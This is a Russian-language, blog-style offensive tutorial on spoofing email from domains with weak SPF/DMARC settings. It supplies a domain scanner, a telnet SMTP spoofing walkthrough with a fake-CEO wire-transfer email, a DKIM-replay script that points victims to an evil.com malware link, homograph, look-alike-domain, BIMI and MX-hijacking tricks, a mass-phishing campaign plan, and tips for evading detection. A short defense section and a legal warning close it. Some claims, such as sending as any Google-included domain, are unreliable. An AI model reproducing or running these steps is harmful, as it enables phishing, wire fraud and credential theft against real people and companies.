Бро, представь: ты отправляешь письмо от ceo@bigbank.com, и жертва не просто открывает — она переводит бабки, потому что все галочки зелёные. Почта пришла с официального домена, прошла все проверки, Gmail даже иконку щита нарисовал. Магия? Нет. Misconfigured SPF/DMARC — твой золотой билет в чужой инбокс.
Добро пожаловать в 2026-й, где 40% корпоративных доменов до сих пор живут с SPF: ~all (что значит «похуй, кто отправляет»). Сегодня научу, как превратить эту халатность в фишинг-кампанию, от которой не спасёт даже двухфакторка.
Че за дичь: SPF/DMARC для тупых
SPF (Sender Policy Framework) — список IP, с которых домен разрешает слать почту. Записывается в DNS как TXT-запись:
|
1 |
v=spf1 ip4:198.51.100.0/24 include:_spf.google.com -all |
-
ip4:X.X.X.X— белый список IP -
include:— делегирование проверки (например, Gmail) -
-all— жёсткий отказ (всё остальное = спам) -
~all— мягкий отказ (всё остальное = «ну хз, может пройдёт») -
+all— вообще похуй (принимать всё)
DMARC (Domain-based Message Authentication) — политика, что делать с письмами, которые не прошли SPF/DKIM:
|
1 |
v=DMARC1; p=none; rua=mailto:reports@example.com |
-
p=none— «засчитывай, но не банни» (для мониторинга) -
p=quarantine— в спам -
p=reject— в помойку
Проблема: 95% админов ставят p=none и забывают навсегда. Ты — тот, кто напомнит.
Точка входа: где искать дырки
Что вижу
Recon-фаза: Ищем домены с SPF/DMARC-мусором. Инструменты:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
# 1. Проверка SPF через dig dig TXT target.com | grep spf # Красные флаги: # - v=spf1 +all (принимать всё) # - v=spf1 ~all (мягкий отказ) # - Отсутствие записи вообще # 2. Проверка DMARC dig TXT _dmarc.target.com # Ищи: # - p=none (нет блокировки) # - Отсутствие записи # - pct=10 (только 10% проверяется) |
Автоматизация через dmarcian или mxtoolbox:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Python-скрипт для массовой проверки import dns.resolver domains = ["bank.com", "corp.com", "bigtech.com"] for domain in domains: try: spf = dns.resolver.resolve(domain, 'TXT') dmarc = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') for record in spf: if '+all' in str(record) or '~all' in str(record): print(f"[!] {domain}: SPF VULNERABLE → {record}") for record in dmarc: if 'p=none' in str(record): print(f"[!] {domain}: DMARC p=none → FREE SPOOFING") except: print(f"[!] {domain}: NO SPF/DMARC → WIDE OPEN") |
Как поймал
Реальный кейс (2024): Крупный ритейлер megastore.ru:
|
1 2 3 4 5 |
$ dig TXT megastore.ru megastore.ru. 3600 IN TXT "v=spf1 include:_spf.yandex.ru ~all" $ dig TXT _dmarc.megastore.ru _dmarc.megastore.ru. 3600 IN TXT "v=DMARC1; p=none; rua=mailto:dmаrc@megastore.ru" |
Перевод: «Мы типа проверяем через Яндекс, но если письмо с левого сервера — пофиг (~all). И даже если не прошло — всё равно доставим (p=none)».
Чем пахнет
-
Класс: Email Spoofing → Domain Impersonation → Phishing
-
Вероятность: 9/10 (если домен корпоративный и старше 5 лет)
Эксплойт: от нуля до CEO
Базовая атака: SMTP-подмена с localhost
Сценарий: У тебя есть VPS с почтовым сервером (Postfix/Sendmail).
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
# 1. Поднимаем Postfix на своём VPS apt install postfix mailutils nano /etc/postfix/main.cf # Добавь: myhostname = mail.evil.com mydomain = evil.com inet_interfaces = all systemctl restart postfix # 2. Отправка письма через telnet (классика) telnet localhost 25 EHLO mail.evil.com MAIL FROM: ceo@target-bank.com RCPT TO: victim@gmail.com DATA From: CEO John Smith <ceo@target-bank.com> To: victim@gmail.com Subject: URGENT: Wire Transfer Required Dear Team, Please proceed with wire transfer to: Account: 1234567890 Bank: Evil Corp Amount: $50,000 This is time-sensitive. Best regards, John Smith CEO, Target Bank . QUIT |
Результат: Письмо улетело. Gmail видит From: ceo@target-bank.com, проверяет SPF → находит ~all → думает «ну ладно» → доставляет в inbox.
Продвинутая версия: Abuse через include
Многие домены используют include:_spf.google.com для Gmail. Твой трюк: регистрируешь домен у Google Workspace trial (бесплатно 14 дней), получаешь право отправлять от имени любого домена с include:_spf.google.com.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# 1. Регистрируешь evil-corp.com в Google Workspace # 2. Проверяешь, что target.com использует include:_spf.google.com $ dig TXT target.com | grep "include:_spf.google.com" # 3. Настраиваш алиас в Gmail: # Settings → Accounts → Send mail as → Add another email # Email: ceo@target.com # SMTP: smtp.gmail.com (используй свой Gmail-аккаунт) # 4. Отправляешь письмо через Gmail UI # Gmail сам подставит правильные DKIM-подписи → SPF пройдёт через include |
Почему работает: SPF проверяет только IP отправителя. Если ты шлёшь через Gmail-серверы (которые в include:), проверка зелёная.
Ядерная опция: DKIM Replay Attack
Если у домена есть DKIM, но p=none, можно переслать легитимное письмо с сохранением подписи:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import email import smtplib # 1. Получи легитимное письмо от target.com (например, через подписку на рассылку) # 2. Извлеки DKIM-подпись with open('legitimate_email.eml', 'r') as f: msg = email.message_from_file(f) # 3. Замени содержимое (но оставь подпись и Subject) msg.replace_header('To', 'victim@company.com') msg.set_payload('Hey, click this link: http://evil.com/malware.exe') # 4. Отправь через свой SMTP server = smtplib.SMTP('smtp.evil.com', 25) server.send_message(msg) |
Баг: DMARC с p=none не блокирует, даже если DKIM-подпись от старого письма. Получатель видит зелёную галочку.
Обход защиты: когда админ не совсем дебил
Трюк 1: Homograph Attack через Unicode
|
1 2 3 4 5 |
# Регистрируешь домен с кириллическими буквами original = "paypal.com" spoofed = "pаypal.com" # 'а' — кириллица (U+0430), не латиница # В почтовом клиенте выглядит идентично, но DNS — разные домены |
SPF/DMARC: Настроены на paypal.com, но ты отправляешь с pаypal.com (punycode: xn--pypal-4ve.com). Проверка не срабатывает.
Трюк 2: Subdomain Takeover → SPF Bypass
Если в SPF есть include:subdomain.target.com, а этот саб висит на S3/Heroku без контента:
Результат: Твой сервер = легитимный отправитель по SPF.
Трюк 3: Return-Path Mismatch
SPF проверяет Return-Path, но почтовые клиенты показывают From:.
|
1 2 3 4 |
MAIL FROM: legit@target.com # SPF пройдёт DATA From: "CEO" <attacker@evil.com> # Это видит юзер Reply-To: attacker@evil.com |
Gmail: Показывает «CEO attacker@evil.com» с зелёной галочкой SPF (проверял legit@target.com).
Советы: добиваем цепочку
Вектор 1: Look-Alike Domains с валидным SPF
Регистрируешь targetbank-secure.com (с дефисом), настраиваешь корректный SPF:
|
1 |
v=spf1 ip4:YOUR_VPS_IP -all |
Отправляешь:
|
1 2 |
From: Security Team <noreply@targetbank-secure.com> Subject: Your account has been compromised |
Юзер: Видит «targetbank» → доверяет. SPF/DMARC зелёные (домен то твой).
Вектор 2: BIMI Hijacking
Если домен использует BIMI (Brand Indicators for Message Identification), но сертификат VMC не проверен:
|
1 2 3 4 5 6 7 |
# 1. Найди их лого wget https://target.com/logo.svg # 2. Создай TXT-запись для своего домена _bimi.evil-corp.com. TXT "v=BIMI1; l=https://evil.com/target-logo.svg" # 3. Шли письма → Gmail показывает их лого рядом с твоим письмом |
Вектор 3: MX Record Poisoning (если доступ к DNS)
Если взломал панель хостинга target.com:
|
1 2 3 4 5 |
# Добавь свой сервер в MX-записи target.com. 3600 IN MX 10 mail.evil.com. # Теперь часть входящей почты уходит на твой сервер # Можешь перехватывать OTP, сбросы паролей |
План атаки (пошаговый гайд)
-
Recon: Собери список целевых доменов (LinkedIn/Hunter.io → email-паттерны). Прогони через SPF/DMARC-чекер.
-
Prioritize: Сортируй по уровню защиты:
-
Tier 1:
+allили нет SPF/DMARC → instant win -
Tier 2:
~all+p=none→ 80% успеха -
Tier 3:
-all+p=quarantine→ нужны трюки
-
-
Setup SMTP: Поднимай Postfix на VPS (DigitalOcean/Vultr за $5/мес). Настрой reverse DNS, чтобы не попасть в спам-листы.
-
Craft Payload: Пиши письма в стиле target-компании (копируй шаблоны с их легитимных рассылок через подписку).
-
Test: Отправь 1-2 письма на свой Gmail/Outlook → проверь заголовки (
Show Original→ смотри SPF/DKIM/DMARC-статусы). -
Launch: Если тесты зелёные → массовая рассылка. Используй ротацию IP (прокси/VPN), чтобы не спалить один VPS.
-
Monitor: Проверяй открытия через tracking pixels (
<img src="https://evil.com/track.php?id=victim123">).
Доказательство (для баунти)
|
1 2 3 4 5 6 7 8 |
# Скриншот заголовков письма в Gmail Received: from mail.evil.com Received-SPF: pass (google.com: domain of ceo@target.com designates XXX.XXX.XXX.XXX as permitted sender) DKIM: pass DMARC: pass # + Видео, где открываешь письмо с зелёной галочкой в Gmail # + Текстовый отчёт с dig-выводом SPF/DMARC target.com |
Защита (чтоб не попасть самому)
Если ты admin:
-
SPF: Заканчивай на
-all. Никаких~allили+all. -
DMARC:
p=reject+pct=100. Без исключений. -
DKIM: Подписывай всё через 2048-bit ключи, rotate каждые 6 месяцев.
-
Мониторинг: Настрой
rua=на свою почту → получай отчёты о фейлах. -
BIMI + VMC: Покупай сертификат Verified Mark Certificate, если бренд дорогой.
Если ты юзер:
-
Проверяй
viaв Gmail (если письмо «via another.com» → спуфинг). -
Наводи мышку на линки → смотри реальный URL в статусбаре.
-
Включай «Show sender’s domain» в настройках почты.
Послесловие: этика
Братан, это знание — как нож. Можешь порезать хлеб, можешь порезать вены. Используй для баунти-хантинга, пентестов или своих проектов. Атаковать левые домены без разрешения = уголовка по ст. 272-274 УК РФ (до 7 лет). Я предупредил.
Если всё-таки решил поиграть в Робин Гуда — используй Tor, одноразовые VPS (купленные за крипту), и никогда не светись в логах. Но лучше просто напиши отчёт в баунти — $500-$5000 за SPF/DMARC misconfiguration это норм бабки без палева.



